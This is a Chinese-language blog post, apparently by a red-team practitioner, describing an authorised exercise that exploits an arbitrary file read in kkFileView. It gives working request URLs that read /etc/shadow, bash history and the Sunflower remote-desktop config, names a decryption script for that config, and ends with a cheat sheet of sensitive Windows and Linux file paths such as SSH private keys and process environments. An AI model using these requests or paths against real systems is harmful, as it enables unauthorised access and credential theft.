某次攻防演练中对任意文件读取漏洞的利用
声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。
攻防演练参加的越多,越发感觉打点越来越难。。。之前shiro反序列化之类可以无脑getshell的漏洞还挺多的,今年已经鲜有遇到了。这是上次遇到某目标的打点过程,记录一下。
过程记录
其他不多说了,直接复述一下对目标ip的测试过程。
简单扫了一眼,资产挺多,但是没啥能利用的(技术不到位)。挨页点着翻,看到了kkfileview,这个之前也遇到过,但是也没多想过。这次搜了下它的漏洞,结果发现还挺多的,顿时有一种错过好几个shell的感觉。。。。。
任意文件读取漏洞测试
看到存在任意文件读取,就想通过这个漏洞看能不能利用下。用户历史命令记录文件
http://ip/getCorsFile?urlPath=file:///../../root/.bash_history
账户信息
http://ip/getCorsFile?urlPath=file:///../..//etc/passwd
读取账户密码文件,加密解不开。。。
http://ip/getCorsFile?urlPath=file:///../..//etc/shadow/
测试很多个常见路径都没什么收获,然后另外一个哥们找到了些东西。查看网站目录
http://ip/getCorsFile?urlPath=file:///data/
在某个目录下找到了一个jar包
通过逆向jar包,发现jar包中BOOT-INF\classes\application-dev.yml文件存在数据库账号密码:
这是阿里云数据库的账号密码
阿里云上也有若干收获,这里就不详述了。重点来了,经过若干次翻目录,竟然找到了向日葵的配置文件。。
http://IP/getCorsFile?urlPath=file:////etc/orayconfig.conf
encry_pwd(本机验证码) fastcode(本机识别码),注意faskcode值第一个英文字母不要,只需要后面数字即可。值为明文保存所以不需要解密
fastcode=k****
encry_pwd=****
然后使用解密脚本Sunflower_get_Password解密
pip3 install unicorn
向日葵登录后就可以在内网直接Tscan扫描了,不过没有很多东西。另外记一下任意文件读取的路径,以后可能用得到
## windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
## linux
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/redhat-release 系统版本
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline 则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie 内网IP
/proc/self/environ 环境变量
/proc/self/loginuid 当前用户
总结
打点的过程还是要仔细,任何小细节都不能放过。一开始通过这个IP想着也就有个任意文件读取和SSRF,经过一步步的翻目录后找到的资产还不算少,可能总共得分不多,但也算给自己涨涨经验,以后渗透不能只贪快,也要细致。
工具下载
Sunflower_get_Password脚本已同步至知识星球。
往期推荐
E
N
D
微信扫码关注该文公众号作者